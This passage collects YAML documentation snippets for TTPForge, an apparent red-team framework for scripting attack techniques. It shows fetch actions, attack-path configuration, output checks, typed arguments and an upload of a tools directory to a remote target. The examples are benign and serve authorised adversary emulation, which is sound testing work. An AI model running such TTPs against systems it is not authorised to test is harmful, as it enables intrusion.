- **cleanup** (string) - Optional - Set to 'default' for automatic cleanup or define a custom cleanup action.

### Request Example
```yaml
fetch_uri: https://example.com/file.txt
location: /tmp/file.txt
overwrite: true
```
```

--------------------------------

### TTPForge Repository Configuration

Source: https://context7.com/facebookincubator/ttpforge/llms.txt

Configure TTP search paths in a TTPForge repository configuration file.

```yaml
---
ttp_search_paths:
  - ttps
  - example-ttps
  - attacks/network
  - attacks/persistence

```

--------------------------------

### Define Success Checks

Source: https://context7.com/facebookincubator/ttpforge/llms.txt

Configure validation conditions for step execution, including file existence, command output, and exit codes.

```yaml
---
api_version: 2.0
uuid: a1b2c3d4-e5f6-7890-abcd-checks123456
name: checks_demo
description: Demonstrate success check capabilities.
steps:
  - name: create_output
    inline: |
      echo "Version: 2.1.0" > /tmp/version.txt
      echo "Status: SUCCESS" >> /tmp/version.txt
    cleanup:
      inline: rm -f /tmp/version.txt
    checks:
      # Check file exists
      - msg: "Output file must exist"
        path_exists: /tmp/version.txt

      # Check command succeeds
      - msg: "Cat command should work"
        command: "cat /tmp/version.txt"

      # Check output contains string
      - msg: "Should contain version info"
        command: "cat /tmp/version.txt"
        output_contains: "Version:"

      # Check output does NOT contain string
      - msg: "Should not contain errors"
        command: "cat /tmp/version.txt"
        output_not_contains: "ERROR"

      # Check output matches regex
      - msg: "Version should match semver pattern"
        command: "cat /tmp/version.txt"
        output_regex: "Version: [0-9]+\\.[0-9]+\\.[0-9]+"

      # Combined checks
      - msg: "Complete validation"
        command: "cat /tmp/version.txt"
        expect_exit_code: 0
        output_contains: "SUCCESS"
        output_not_contains: "FAILURE"
```

--------------------------------

### Upload a directory to a remote host

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/actions/copy_path.md

Transfers a directory and its contents recursively to a remote host.

```yaml
steps:
  - name: upload_tools
    remote: target
    copy_path: /opt/tools
    to: /tmp/tools
    direction: upload
    recursive: true
    cleanup: default
```

--------------------------------

### Define TTP Arguments

Source: https://context7.com/facebookincubator/ttpforge/llms.txt

Configure typed command-line arguments with defaults, choices, and regex validation.

```yaml
---
api_version: 2.0
uuid: 2ae7c2ae-39be-4114-8618-306a62eedec2
name: args_demo
description: Demonstrate command-line argument options.
args:
  - name: required_string
    description: A required string argument (no default)

  - name: optional_with_default
    description: Argument with a default value
    default: default_value

  - name: bool_flag
    type: bool
    default: false

  - name: int_value
    type: int
    default: 1337

  - name: file_path
    type: path
    description: Path arguments are resolved to absolute paths
    default: ./config.yaml

  - name: choice_arg
    description: Argument with predefined choices
    choices:
      - option_a
      - option_b
      - option_c
    default: option_a

  - name: validated_arg
    description: Argument validated by regex
    regexp: "^[a-z]+[0-9]+$"
    default: test123

steps:
  - name: print_args
    print_str: |
      Required: {{.Args.required_string}}
      Optional: {{.Args.optional_with_default}}
      Bool: {{.Args.bool_flag}}
      Int: {{.Args.int_value}}
      Math: {{add .Args.int_value 100}}
      Path: {{.Args.file_path}}
      Choice: {{.Args.choice_arg}}

  {{ if .Args.bool_flag }}
  - name: conditional_step
    print_str: "Bool flag was true, so this step runs"
  {{ end }}
```

--------------------------------

### Configure Step Output Checks

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/checks.md

Use output_contains, output_not_contains, and output_regex to validate the stdout and stderr of a step.

```yaml
checks:
  # Verify step output contains a string
  - msg: "Running as root"
    output_contains: "root"

  # Verify step output does NOT contain a string
  - msg: "No errors in output"
    output_not_contains: "error"

  # Verify step output matches a regex
  - msg: "Hostname matches pattern"
    output_regex: "web-[0-9]+"

  # Combine multiple output conditions
  - msg: "Output looks correct"
    output_contains: "success"
    output_not_contains: "warning"
    output_regex: "completed in [0-9]+ms"
```